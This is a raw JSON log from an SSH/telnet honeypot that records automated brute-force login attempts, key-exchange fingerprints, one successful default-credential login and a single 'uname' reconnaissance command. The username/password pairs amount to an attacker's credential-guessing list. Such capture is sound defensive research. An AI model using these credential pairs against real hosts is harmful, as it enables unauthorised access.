{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:54.650472Z","src_ip":"91.92.42.227","session":"b7c025db091b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:55.077842Z","src_ip":"91.92.42.227","session":"b7c025db091b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:56.330685Z","src_ip":"91.92.42.227","session":"b7c025db091b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.49599766731262,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:56.685486Z","src_ip":"128.199.8.54","session":"2d998b07ebb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55846,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4737e515615","protocol":"ssh","message":"New connection: 45.156.87.147:55846 (10.17.0.5:22) [session: e4737e515615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:58.925610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:58.929630Z","src_ip":"45.156.87.147","session":"e4737e515615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:59.012280Z","src_ip":"45.156.87.147","session":"e4737e515615","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:59.259655Z","src_ip":"45.156.87.147","session":"e4737e515615","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:59.476386Z","src_ip":"45.156.87.147","session":"e4737e515615","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:59.478944Z","src_ip":"45.156.87.147","session":"e4737e515615","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:59.563563Z","src_ip":"45.156.87.147","session":"e4737e515615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:59.567785Z","src_ip":"45.156.87.147","session":"e4737e515615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43226,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fac8390b89c","protocol":"ssh","message":"New connection: 91.92.42.227:43226 (10.17.0.5:22) [session: 8fac8390b89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:01.632604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:01.644362Z","src_ip":"91.92.42.227","session":"8fac8390b89c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:01.731549Z","src_ip":"91.92.42.227","session":"8fac8390b89c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:02.149493Z","src_ip":"91.92.42.227","session":"8fac8390b89c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:03.341731Z","src_ip":"91.92.42.227","session":"8fac8390b89c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60324,"dst_ip":"10.17.0.5","dst_port":22,"session":"9889bd03ce21","protocol":"ssh","message":"New connection: 45.156.87.147:60324 (10.17.0.5:22) [session: 9889bd03ce21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:04.920757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:05.084397Z","src_ip":"45.156.87.147","session":"9889bd03ce21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:05.248762Z","src_ip":"45.156.87.147","session":"9889bd03ce21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:05.518595Z","src_ip":"45.156.87.147","session":"9889bd03ce21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:06.603804Z","src_ip":"45.156.87.147","session":"9889bd03ce21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.584989547729492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:07.201661Z","src_ip":"102.37.220.188","session":"cdf0fbdbbd86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41224,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6d77fe82abe","protocol":"ssh","message":"New connection: 91.92.42.227:41224 (10.17.0.5:22) [session: b6d77fe82abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:07.999935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:08.400825Z","src_ip":"91.92.42.227","session":"b6d77fe82abe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:08.404405Z","src_ip":"91.92.42.227","session":"b6d77fe82abe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:09.693112Z","src_ip":"91.92.42.227","session":"b6d77fe82abe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50310,"dst_ip":"10.17.0.5","dst_port":22,"session":"62fbb2cc78a6","protocol":"ssh","message":"New connection: 45.156.87.147:50310 (10.17.0.5:22) [session: 62fbb2cc78a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:10.904039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:10.908997Z","src_ip":"45.156.87.147","session":"62fbb2cc78a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:10.991350Z","src_ip":"45.156.87.147","session":"62fbb2cc78a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:11.080927Z","src_ip":"91.92.42.227","session":"b6d77fe82abe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher123","message":"login attempt [rancher/rancher123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:11.247114Z","src_ip":"45.156.87.147","session":"62fbb2cc78a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:12.333916Z","src_ip":"45.156.87.147","session":"62fbb2cc78a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59472,"dst_ip":"10.17.0.5","dst_port":22,"session":"2956083fb995","protocol":"ssh","message":"New connection: 91.92.42.227:59472 (10.17.0.5:22) [session: 2956083fb995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:14.808851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:15.234623Z","src_ip":"91.92.42.227","session":"2956083fb995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:15.237486Z","src_ip":"91.92.42.227","session":"2956083fb995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50322,"dst_ip":"10.17.0.5","dst_port":22,"session":"31fc140a99c3","protocol":"ssh","message":"New connection: 45.156.87.147:50322 (10.17.0.5:22) [session: 31fc140a99c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:17.108117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:17.113005Z","src_ip":"45.156.87.147","session":"31fc140a99c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:17.194066Z","src_ip":"45.156.87.147","session":"31fc140a99c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"root","message":"login attempt [bob/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:17.439381Z","src_ip":"45.156.87.147","session":"31fc140a99c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:18.137251Z","src_ip":"91.92.42.227","session":"2956083fb995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:18.524634Z","src_ip":"45.156.87.147","session":"31fc140a99c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:19.921665Z","src_ip":"91.92.42.227","session":"2956083fb995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59488,"dst_ip":"10.17.0.5","dst_port":22,"session":"aefec30c3729","protocol":"ssh","message":"New connection: 91.92.42.227:59488 (10.17.0.5:22) [session: aefec30c3729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:21.668837Z"}
